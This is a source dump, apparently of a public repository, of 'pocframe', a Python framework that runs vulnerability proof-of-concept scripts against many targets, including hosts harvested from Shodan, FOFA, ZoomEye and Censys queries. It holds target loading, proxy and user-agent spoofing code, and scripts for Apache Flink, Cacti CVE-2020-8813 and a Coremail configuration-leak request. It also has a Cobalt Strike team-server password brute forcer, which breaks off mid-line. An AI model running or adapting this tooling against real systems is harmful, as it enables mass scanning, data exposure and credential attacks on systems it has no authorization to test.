else: 84 | msg = '[-] [{}] not a Python file. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 85 | script_name) 86 | colorprint.red('[-] ' + msg) 87 | sys.exit() 88 | else: 89 | msg = '[-] [{}] not a file. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 90 | script_name) 91 | colorprint.red(msg) 92 | sys.exit() 93 | else: 94 | msg = '[-] [{}] not found. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 95 | script_name) 96 | colorprint.red(msg) 97 | sys.exit() 98 | 99 | # handle input: "-s spider" "-s spider.py" 100 | else: 101 | if not script_name.endswith('.py'): 102 | script_name += '.py' 103 | _path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, script_name)) 104 | if os.path.isfile(_path): 105 | module_path.append(os.path.abspath(_path)) 106 | else: 107 | msg = '[-] Script [{}] not exist. Use [--show] to view all available script in ./scripts/'.format( 108 | script_name) 109 | colorprint.red(msg) 110 | sys.exit() 111 | 112 | def script_register(args): 113 | 114 | conf.module_path = [] 115 | # handle no scripts 116 | if not args.script_name: 117 | msg = '[-] Use -s to load script. Example: [-s spider] or [-s ./script/spider.py]' 118 | colorprint.red(msg) 119 | sys.exit() 120 | 121 | """添加功能:加载所有poc""" 122 | if args.script_name is '*': 123 | script_list = os.listdir(paths.SCRIPT_PATH) 124 | for script_name in script_list: 125 | if script_name not in ['__init__.py', 'test.py', 'urltest.py'] and os.path.splitext(script_name)[1] == '.py': 126 | conf_path_add(conf.module_path, script_name) 127 | else: 128 | for script_name in args.script_name.split(","): 129 | conf_path_add(conf.module_path, script_name) 130 | 131 | def target_register(args): 132 | 133 | # init target queue 134 | conf.target = set() 135 | 136 | # single target to queue 137 | if args.target_single: 138 | msg = '[+] Load target : {}'.format(args.target_single) 139 | colorprint.green(msg) 140 | conf.target.add(args.target_single) 141 | 142 | # file target to queue 143 | if args.target_file: 144 | if not os.path.isfile(args.target_file): 145 | msg = '[-] TargetFile not found: {}'.format(args.target_file) 146 | colorprint.red(msg) 147 | sys.exit() 148 | msg = '[+] Load targets from : {}'.format(args.target_file) 149 | colorprint.green(msg) 150 | with open(args.target_file, 'r', encoding='utf8') as f: 151 | targets = f.readlines() 152 | for target in targets: 153 | conf.target.add(target.strip('\n')) 154 | 155 | # range of ip target to queue .e.g. 192.168.1.1-192.168.1.100 156 | if args.target_range: 157 | try: 158 | lists = gen_ip(args.target_range) 159 | if (len(lists)) > 100000: 160 | warn_msg = "[*] Loading {} targets, Maybe it's too much, continue? [y/N]".format((len(lists))) 161 | colorprint.cyan(warn_msg, end='') 162 | flag = input() 163 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 164 | pass 165 | else: 166 | msg = '[-] User quit!' 167 | colorprint.cyan(msg) 168 | sys.exit() 169 | 170 | msg = '[+] Load targets from : {}'.format(args.target_range) 171 | colorprint.green(msg) 172 | 173 | # save to conf 174 | for target in lists: 175 | conf.target.add(target) 176 | 177 | except: # Exception as e: 178 | # colorprint.red(e) 179 | err_msg = "Invalid input in [-iR], Example: -iR 192.168.1.1-192.168.1.100" 180 | colorprint.red(err_msg) 181 | sys.exit() 182 | 183 | # ip/mask e.g. 192.168.1.2/24 184 | if args.target_network: 185 | try: 186 | ip_range = ipaddress.ip_network(args.target_network, strict=False) 187 | for ip in ip_range.hosts(): 188 | conf.target.add(ip) 189 | 190 | except: # Exception as e: 191 | # colorprint.red(e) 192 | msg = "[-] Invalid input in [-iN], Example: -iN 192.168.1.0/24" 193 | colorprint.red(msg) 194 | sys.exit() 195 | 196 | msg = '[+] Load targets from : {}'.format(args.target_network) 197 | colorprint.green(msg) 198 | 199 | # set search limit of api 200 | if args.api_limit <= 0: 201 | err_msg = 'Invalid input in [-limit] (can not be negative number)' 202 | colorprint.red(err_msg) 203 | sys.exit() 204 | if args.api_limit > 10000: 205 | warn_msg = "Loading {} targets, Maybe it's too much, continue? [y/N]".format(args.api_limit) 206 | colorprint.cyan(warn_msg) 207 | flag = input() 208 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 209 | pass 210 | else: 211 | msg = 'User quit!' 212 | colorprint.cyan(msg) 213 | sys.exit() 214 | conf.limit = args.api_limit 215 | 216 | # set search offset of api 217 | if args.api_offset < 0: 218 | warn_msg = "Wrong offset setting, would you like to set it to 0? [y/N]".format(args.api_limit) 219 | colorprint.cyan(warn_msg) 220 | flag = input() 221 | if flag in ('Y', 'y', 'yes', 'YES', 'Yes'): 222 | args.api_offset = 0 223 | else: 224 | msg = 'User quit!' 225 | colorprint.cyan(msg) 226 | sys.exit() 227 | conf.offset = args.api_offset 228 | 229 | if args.zoomeye_dork: 230 | from lib.api.zoomeye.zoomeye import handle_zoomeye 231 | # verify search_type for zoomeye 232 | if args.search_type not in ['web', 'host']: 233 | msg = '[-] Invalid value in [--search-type], show usage with [-h]' 234 | colorprint.red(msg) 235 | sys.exit() 236 | conf.search_type = args.search_type 237 | handle_zoomeye(query=args.zoomeye_dork, limit=conf.limit, type=conf.search_type, offset=conf.offset) 238 | 239 | if args.fofa_dork: 240 | from lib.api.fofa.fofa import handle_fofa 241 | handle_fofa(query=args.fofa_dork, limit=conf.limit, offset=conf.offset) 242 | 243 | if args.shodan_dork: 244 | from lib.api.shodan.shodan import handle_shodan 245 | handle_shodan(query=args.shodan_dork, limit=conf.limit, offset=conf.offset) 246 | 247 | if args.censys_dork: 248 | from lib.api.censys.censys import handle_censys 249 | handle_censys(query=args.censys_dork, limit=conf.limit, offset=conf.offset) 250 | 251 | # verify targets number 252 | if len(conf.target) == 0: 253 | err_msg = 'No targets found\nPlease load targets with [-iU|-iF|-iR|-iN] or use API with [-aZ|-aS|-aG|-aF]' 254 | colorprint.red(err_msg) 255 | sys.exit() 256 | 257 | 258 | def output_register(args): 259 | # if not define output, named it by time 260 | if not args.output_path: 261 | filename = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) + '.txt' 262 | else: 263 | filename = args.output_path 264 | conf.output_path = os.path.join(paths.OUTPUT_PATH, filename) 265 | msg = '[+] Output: %s' % conf.output_path 266 | colorprint.green(msg) 267 | 268 | 269 | def proxy_regester(args): 270 | # if define proxy 271 | if args.proxy: 272 | proxy = args.proxy 273 | else: 274 | proxy = ConfigFileParser().proxy() 275 | if proxy: 276 | # check proxy format 277 | try: 278 | # check protocol 279 | protocol = proxy.split("://")[0].lower() 280 | if protocol not in ("socks4",'socks5','http'): 281 | raise Exception("proxy protocol format error, please check your proxy (socks4|socks5|http)") 282 | 283 | # check ip addr 284 | ip = proxy.split("://")[1].split(":")[0] 285 | compile_ip=re.compile('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$') 286 | if not compile_ip.match(ip): 287 | raise Exception("proxy ip format error, please check your proxy") 288 | 289 | # check port 290 | port = int(proxy.split("://")[1].split(":")[1]) 291 | if not 0 <= port <= 65535: 292 | raise Exception("proxy port format error, please check your proxy") 293 | 294 | except Exception as e: 295 | colorprint.red(e) 296 | sys.exit() 297 | 298 | msg = "[+] setting proxy: {}://{}:{}".format(protocol, ip, port) 299 | colorprint.green(msg) 300 | conf.proxy = (protocol, ip, port) 301 | else: 302 | conf.proxy = None 303 | 304 | 305 | def logger_lever_set(args): 306 | if args.logging_level == 1: 307 | logger.setLevel(logging.ERROR) 308 | elif args.logging_level == 2: 309 | logger.setLevel(logging.WARNING) 310 | elif args.logging_level == 3: 311 | logger.setLevel(logging.INFO) 312 | elif args.logging_level == 4: 313 | logger.setLevel(logging.DEBUG) 314 | elif args.logging_level == 5: 315 | logger.setLevel(logging.NOTSET) 316 | else: 317 | msg = 'something error when setting logger lever, please check it!' 318 | colorprint.red('[-] ' + msg) 319 | sys.exit() -------------------------------------------------------------------------------- /lib/core/setting.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import sys 9 | import os 10 | 11 | GIT_REPOSITORY = "https://github.com/r0ckysec/pocframe" 12 | WEBSITE = "https://github.com/r0ckysec/pocframe" 13 | version = 1.0 14 | BANNER = r""" 15 | __ {website} 16 | _ __ ___ ___ / _|_ __ __ _ _ __ ___ ___ 17 | | '_ \ / _ \ / __| |_| '__/ _` | '_ ` _ \ / _ \ 18 | | |_) | (_) | (__| _| | | (_| | | | | | | __/ 19 | | .__/ \___/ \___|_| |_| \__,_|_| |_| |_|\___| 20 | |_| {version} 21 | """.format(website=WEBSITE, version=version) 22 | 23 | 24 | IS_WIN = True if (sys.platform in ["win32", "cygwin"] or os.name == "nt") else False -------------------------------------------------------------------------------- /lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import argparse 9 | 10 | 11 | def cmdLineParser(): 12 | """ 13 | This function parses the command line parameters and arguments 14 | """ 15 | parser = argparse.ArgumentParser(usage='python3 pocframe.py -s thinkphp_rce -aS "thinkphp" --proxy 127.0.0.1:1080 ') 16 | 17 | # engine 18 | engine = parser.add_argument_group("Engine", "Those options decide the working way of engine") 19 | engine.add_argument('-eT', dest="engine_thread", default=False, action='store_true', 20 | help='Multi-Threaded engine') 21 | engine.add_argument('-eG', dest="engine_gevent", default=False, action='store_true', 22 | help='Gevent engine (single-threaded with asynchronous, default choice)') 23 | engine.add_argument("-t","--thread", dest="concurrent_num", type=int, default=100, 24 | help="num of concurrent, default 100") 25 | 26 | # script 27 | script = parser.add_argument_group("Script", "Those options decide which script to load") 28 | script.add_argument("-s", "--script", dest="script_name", type=str, default="", 29 | help="load script by name (-s jboss-rce)") 30 | script.add_argument('--show', dest="show_scripts", default=False, action='store_true', 31 | help='show available script names in ./script/ and exit') 32 | # target 33 | target = parser.add_argument_group("Target","Those options can be used to load targets") 34 | target.add_argument("-iU", metavar='TARGET', dest="target_single", type=str, default="", 35 | help="scan a single target (e.g. www.wooyun.org)") 36 | target.add_argument("-iF", metavar='FILE', dest="target_file", type=str, default="", 37 | help="load targets from targetFile (e.g. wooyun_domain.txt)") 38 | target.add_argument('-iR', metavar='START-END', dest="target_range", type=str, default='', 39 | help='array from int(start) to int(end) (e.g. 192.168.1.1-192.168.2.100)') 40 | target.add_argument('-iN', metavar='IP/MASK', dest="target_network", type=str, default='', 41 | help='generate IP from IP/MASK. (e.g. 192.168.1.0/24)') 42 | # api 43 | api = parser.add_argument_group('API', "Those options can be used to load targets with api") 44 | api.add_argument('-aZ', '--zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='', 45 | help='ZoomEye dork (e.g. "zabbix port:8080")') 46 | api.add_argument('-aS', '--shodan', metavar='DORK', dest="shodan_dork", type=str, default='', 47 | help='Shodan dork.') 48 | api.add_argument('-aF', '--fofa', metavar='DORK', dest="fofa_dork", type=str, default='', 49 | help='FoFa dork (e.g. "banner=users && protocol=ftp")') 50 | api.add_argument('-aC', '--censys', metavar='DORK', dest="censys_dork", type=str, default='', 51 | help='censys dork ') 52 | api.add_argument('--limit', metavar='NUM', dest="api_limit", type=int, default=100, 53 | help='Maximum searching results (default:50)') 54 | api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0, 55 | help="Search offset to begin getting results from (default:0)") 56 | api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host', 57 | help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)") # search type 58 | 59 | # output 60 | output = parser.add_argument_group("Output","Those options can be used to set output path and filename") 61 | output.add_argument("-o","--output", dest="output_path", type=str, default="", 62 | help="output file name. default in ./output/") 63 | output.add_argument("-v", "--verbose", dest="logging_level", type=int, default=2, 64 | help="logging level, default WARNING,(eg -v 3) to output more") 65 | 66 | # proxy 67 | proxy = parser.add_argument_group("Proxy","Those options can be used to set proxy") 68 | proxy.add_argument("--proxy", metavar='PROXY', dest="proxy", type=str, default='', help="connect to target with proxy (e.g. 'socks5://127.0.0.1:1080')") 69 | 70 | args = parser.parse_args() 71 | return args 72 | 73 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/utils/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from configparser import ConfigParser 10 | from lib.core.data import paths 11 | from lib.core.common import colorprint 12 | 13 | 14 | class ConfigFileParser: 15 | @staticmethod 16 | def _get_option(section, option): 17 | try: 18 | cf = ConfigParser() 19 | cf.read(paths.CONFIG_PATH) 20 | return cf.get(section=section, option=option) 21 | except: 22 | colorprint.cyan('Missing essential options, please check your config-file.') 23 | return '' 24 | 25 | def ZoomEyeEmail(self): 26 | return self._get_option('zoomeye', 'email') 27 | 28 | def ZoomEyePassword(self): 29 | return self._get_option('zoomeye', 'password') 30 | 31 | def fofa_email(self): 32 | return self._get_option('fofa','email') 33 | 34 | def fofa_key(self): 35 | return self._get_option('fofa','key') 36 | 37 | def shodan_apikey(self): 38 | return self._get_option('shodan', 'api_key') 39 | 40 | def censys_UID(self): 41 | return self._get_option('censys', 'UID') 42 | 43 | def censys_SECRET(self): 44 | return self._get_option('censys', 'SECRET') 45 | 46 | def proxy(self): 47 | return self._get_option('proxy','proxy') 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /lib/utils/console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | getTerminalSize() 11 | - get width and height of console 12 | - works on linux,os x,windows,cygwin(windows) 13 | """ 14 | 15 | import os 16 | 17 | __all__ = ['getTerminalSize'] 18 | 19 | 20 | def getTerminalSize(): 21 | import platform 22 | current_os = platform.system() 23 | tuple_xy = None 24 | if current_os == 'Windows': 25 | tuple_xy = _getTerminalSize_windows() 26 | if tuple_xy is None: 27 | tuple_xy = _getTerminalSize_tput() 28 | # needed for window's python in cygwin's xterm! 29 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 30 | tuple_xy = _getTerminalSize_linux() 31 | if tuple_xy is None: 32 | tuple_xy = (80, 25) # default value 33 | return tuple_xy 34 | 35 | 36 | def _getTerminalSize_windows(): 37 | res = None 38 | try: 39 | from ctypes import windll, create_string_buffer 40 | 41 | # stdin handle is -10 42 | # stdout handle is -11 43 | # stderr handle is -12 44 | 45 | h = windll.kernel32.GetStdHandle(-12) 46 | csbi = create_string_buffer(22) 47 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 48 | except Exception: 49 | return None 50 | if res: 51 | import struct 52 | (bufx, bufy, curx, cury, wattr, 53 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 54 | sizex = right - left + 1 55 | sizey = bottom - top + 1 56 | return sizex, sizey 57 | else: 58 | return None 59 | 60 | 61 | def _getTerminalSize_tput(): 62 | # get terminal width 63 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 64 | try: 65 | import subprocess 66 | proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 67 | output = proc.communicate(input=None) 68 | cols = int(output[0]) 69 | proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 70 | output = proc.communicate(input=None) 71 | rows = int(output[0]) 72 | return (cols, rows) 73 | except Exception: 74 | return None 75 | 76 | 77 | def _getTerminalSize_linux(): 78 | def ioctl_GWINSZ(fd): 79 | try: 80 | import fcntl, termios, struct 81 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 82 | except Exception: 83 | return None 84 | return cr 85 | 86 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 87 | if not cr: 88 | try: 89 | fd = os.open(os.ctermid(), os.O_RDONLY) 90 | cr = ioctl_GWINSZ(fd) 91 | os.close(fd) 92 | except Exception: 93 | pass 94 | if not cr: 95 | try: 96 | cr = (env.get('LINES'), env.get('COLUMNS')) 97 | except Exception: 98 | return None 99 | return int(cr[1]), int(cr[0]) 100 | 101 | -------------------------------------------------------------------------------- /plugin/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | pass -------------------------------------------------------------------------------- /plugin/random_ua.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | 获取随机user-agent头部 10 | 方便poc程序的调用 11 | 12 | Usage: 13 | from plugin.random_ua import get_random_ua, get_pc_ua, get_phone_ua 14 | 15 | ua1 = get_random_ua() 16 | ua2 = get_pc_ua() 17 | ua3 = get_phone_ua() 18 | """ 19 | import random 20 | 21 | 22 | # random user agent 23 | def get_random_ua(): 24 | first_num = random.randint(55, 75) 25 | third_num = random.randint(0, 3200) 26 | fourth_num = random.randint(0, 140) 27 | os_type = [ 28 | '(Windows NT 6.1; WOW64)', 29 | '(Windows NT 10.0; WOW64)', 30 | '(X11; Linux x86_64)', 31 | '(X11; Linux i686) ', 32 | '(Macintosh;U; Intel Mac OS X 10_12_6;en-AU)', 33 | '(iPhone; U; CPU iPhone OS 11_0_6 like Mac OS X; en-SG)', 34 | '(Windows NT 10.0; Win64; x64; Xbox; Xbox One) ', 35 | '(iPad; U; CPU OS 11_3_2 like Mac OS X; en-US) ', 36 | '(Macintosh; Intel Mac OS X 10_14_1)' 37 | ] 38 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 39 | first_num, third_num, fourth_num) 40 | 41 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 42 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 43 | ) 44 | return random_ua 45 | 46 | 47 | # random user agent of PC 48 | def get_pc_ua(): 49 | first_num = random.randint(55, 75) 50 | third_num = random.randint(0, 3200) 51 | fourth_num = random.randint(0, 140) 52 | os_type = [ 53 | '(Windows NT 6.1; WOW64)', 54 | '(Windows NT 10.0; WOW64)', 55 | '(X11; Linux x86_64)', 56 | '(X11; Linux i686) ', 57 | '(Macintosh;U; Intel Mac OS X 10_12_6;en-AU)', 58 | '(Windows NT 10.0; Win64; x64; Xbox; Xbox One) ', 59 | '(iPad; U; CPU OS 11_3_2 like Mac OS X; en-US) ', 60 | '(Macintosh; Intel Mac OS X 10_14_1)' 61 | ] 62 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 63 | first_num, third_num, fourth_num) 64 | 65 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 66 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 67 | ) 68 | return random_ua 69 | 70 | # random user agent of mobile phone 71 | def get_phone_ua(): 72 | first_num = random.randint(55, 75) 73 | third_num = random.randint(0, 3200) 74 | fourth_num = random.randint(0, 140) 75 | os_type = [ 76 | '(iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us)', 77 | '(iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us)', 78 | '(Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00)', 79 | '(Linux; U; Android 8.0.0; zh-cn; Mi Note 7 Build/OPR1.170623.032)', 80 | ] 81 | chrome_version = 'Chrome/{}.0.{}.{}'.format( 82 | first_num, third_num, fourth_num) 83 | 84 | random_ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', 85 | '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] 86 | ) 87 | return random_ua -------------------------------------------------------------------------------- /plugin/target_parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 1. 解析url 11 | 2. url->ip 12 | """ 13 | from urllib.parse import urlparse 14 | import socket 15 | 16 | 17 | def get_standard_url(url): 18 | """ 19 | url: http://www.baidu.com:80/index.php?id=1&uid=2 20 | return: http://www.baidu.com:80 21 | """ 22 | if not url.startswith("http"): 23 | url = "http://" + url 24 | o = urlparse(url) # ParseResult(scheme='http', netloc='www.baidu.com:80', path='/index.php', 25 | # params='', query='id=1&uid=2', fragment='') 26 | return "{}://{}".format(o.scheme, o.netloc) 27 | 28 | 29 | def url2ip(url): 30 | """ 31 | url: http://www.baidu.com:80/index.php?id=1&uid=2 32 | return ['14.215.177.39', '14.215.177.38'] 33 | """ 34 | if not url.startswith("http"): 35 | url = "http://" + url 36 | o = urlparse(url) 37 | domain = o.hostname 38 | ip = socket.gethostbyname_ex(domain) 39 | return ip[2] 40 | 41 | # print(get_standard_url("http://www.baidu.com:80/index.php?id=1&uid=2")) 42 | # --> http://www.baidu.com:80 43 | # print(url2ip("http://www.baidu.com:80/index.php?id=1&uid=2")) 44 | # -->['14.215.177.39', '14.215.177.38'] 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /pocframe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from gevent import monkey 10 | monkey.patch_all() 11 | from lib.parse.cmdline import cmdLineParser 12 | from lib.core.common import colorprint, set_paths, banner 13 | from lib.core.data import cmdLineOptions 14 | from lib.core.option import init_options 15 | from lib.controller.engine import run 16 | from lib.controller.loader import load 17 | import os 18 | import time 19 | import sys 20 | import traceback 21 | 22 | def module_path(): 23 | """ 24 | This will get us the program's directory 25 | """ 26 | return os.path.dirname(os.path.realpath(__file__)) 27 | 28 | 29 | def check_environment(): 30 | try: 31 | os.path.isdir(module_path()) 32 | except Exception: 33 | err_msg = "your system does not properly handle non-ASCII paths. " 34 | err_msg += "Please move the pocsuite's directory to the other location" 35 | colorprint.red(err_msg) 36 | raise SystemExit 37 | 38 | 39 | def check_python_version(): 40 | if sys.version_info < (3, 4): 41 | sys.exit("Python {}.{} or later is required.\n".format(3, 4)) 42 | 43 | 44 | def main(): 45 | try: 46 | check_python_version() 47 | check_environment() 48 | 49 | # set paths of project 50 | set_paths(module_path()) 51 | 52 | # output banner information 53 | banner() 54 | 55 | # received command >> cmdLineOptions 56 | cmdLineOptions.update(cmdLineParser().__dict__) 57 | 58 | # loader script,target,working way(threads? gevent?),output_file from cmdLineOptions 59 | # and send it to conf 60 | init_options(cmdLineOptions) 61 | 62 | # load poc module and target --> tasks 63 | load() 64 | 65 | # run! 66 | run() 67 | except Exception as e: 68 | print(e) 69 | 70 | finally: 71 | print("\n\n[*] shutting down at {0}\n".format(time.strftime("%X"))) 72 | 73 | 74 | if __name__ == "__main__": 75 | main() 76 | -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | gevent 2 | requests 3 | shodan 4 | httplib2 5 | PySocks -------------------------------------------------------------------------------- /scripts/Apache-Flink-Web-Dashboard-RCE.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | Apache Flink任意Jar包上传导致远程代码执行 11 | """ 12 | 13 | from urllib.parse import urlparse 14 | from lib.core.Request import request 15 | import traceback 16 | 17 | def poc(url): 18 | if not url.startswith("http"): 19 | url = "http://" + url 20 | o = urlparse(url) 21 | port = o.port if o.port else 8081 22 | try: 23 | target = f"{o.scheme}://{o.hostname}:{port}" 24 | # print(target) 25 | res = request.get(url=target, timeout=5) 26 | if "apache flink" in res.text.lower(): 27 | return True 28 | else: 29 | return False 30 | except: 31 | return False 32 | 33 | 34 | -------------------------------------------------------------------------------- /scripts/CVE-2020-8813.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution 9 | # Date: 03/02/2020 10 | # Exploit Author: Askar (@mohammadaskar2) 11 | # CVE: CVE-2020-8813 12 | # Vendor Homepage: https://cacti.net/ 13 | # Version: v1.2.8 14 | # Tested on: CentOS 7.3 / PHP 7.1.33 15 | 16 | from lib.core.Request import request 17 | from plugin.target_parse import get_standard_url 18 | 19 | 20 | def poc(url): 21 | url = get_standard_url(url) 22 | path = url+"/graph_realtime.php?action=init" 23 | try: 24 | # print(path) 25 | req = request.get(path, timeout=5) 26 | if req.status_code == 200 and "poller_realtime.php" in req.text: 27 | return True 28 | else: 29 | return False 30 | except: 31 | return False -------------------------------------------------------------------------------- /scripts/coremail_source_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | coremail信息泄露 11 | refer: https://cert.360.cn/warning/detail?id=41af711794c911ff0e0b05ca60be1177 12 | """ 13 | 14 | from urllib.parse import urlparse 15 | from lib.core.Request import request 16 | 17 | headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"} 18 | payload = '/mailsms/s?func=ADMIN:appState&dumpConfig=/' 19 | 20 | 21 | def poc(url): 22 | # url = "http://www.example.org/default.html?ct=32&op=92&item=98" 23 | # --> http://www.example.org 24 | if url[:4] != "http": 25 | url = "http://" + url 26 | o = urlparse(url) 27 | url = o.scheme + "://" + o.netloc + payload 28 | try: 29 | req = request.get(url, headers=headers, timeout=5, allow_redirects=False, verify=False) 30 | if req.status_code == 200: 31 | return url 32 | else: 33 | return False 34 | except: 35 | return False 36 | -------------------------------------------------------------------------------- /scripts/csbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # description: Cobalt Strike Team Server Password Brute Forcer 9 | # reference: https://github.com/ryanohoro/csbruter 10 | 11 | import gevent 12 | from gevent.queue import Queue 13 | import socket 14 | import ssl 15 | from lib.core.data import paths 16 | from urllib.parse import urlparse 17 | import traceback 18 | 19 | 20 | is_continue = True 21 | 22 | 23 | class NotConnectedException(Exception): 24 | def __init__(self, message=None, node=None): 25 | self.message = message 26 | self.node = node 27 | 28 | 29 | class Connector: 30 | def __init__(self): 31 | self.sock = None 32 | self.ssl_sock = None 33 | self.ctx = ssl.SSLContext() 34 | self.ctx.verify_mode = ssl.CERT_NONE 35 | pass 36 | 37 | def is_connected(self): 38 | return self.sock and self.ssl_sock 39 | 40 | def open(self, hostname, port): 41 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | self.sock.settimeout(15) 43 | self.ssl_sock = self.ctx.wrap_socket(self.sock) 44 | 45 | if hostname == socket.gethostname(): 46 | ipaddress = socket.gethostbyname_ex(hostname)[2][0] 47 | self.ssl_sock.connect((ipaddress, port)) 48 | else: 49 | self.ssl_sock.connect((hostname, port)) 50 | 51 | def close(self): 52 | if self.sock: 53 | self.sock.close() 54 | self.sock = None 55 | self.ssl_sock = None 56 | 57 | def send(self, buffer): 58 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 59 | self.ssl_sock.sendall(buffer) 60 | 61 | def receive(self): 62 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 63 | received_size = 0 64 | data_buffer = b"" 65 | 66 | while received_size < 4: 67 | data_in = self.ssl_sock.recv() 68 | data_buffer = data_buffer + data_in 69 | received_size += len(data_in) 70 | 71 | return data_buffer 72 | 73 | 74 | def password_check(passwords, host, port, result): 75 | global is_continue 76 | while not passwords.empty() and is_continue: 77 | try: 78 | password = passwords.get() 79 | conn = Connector() 80 | conn.open(host, port) 81 | payload = 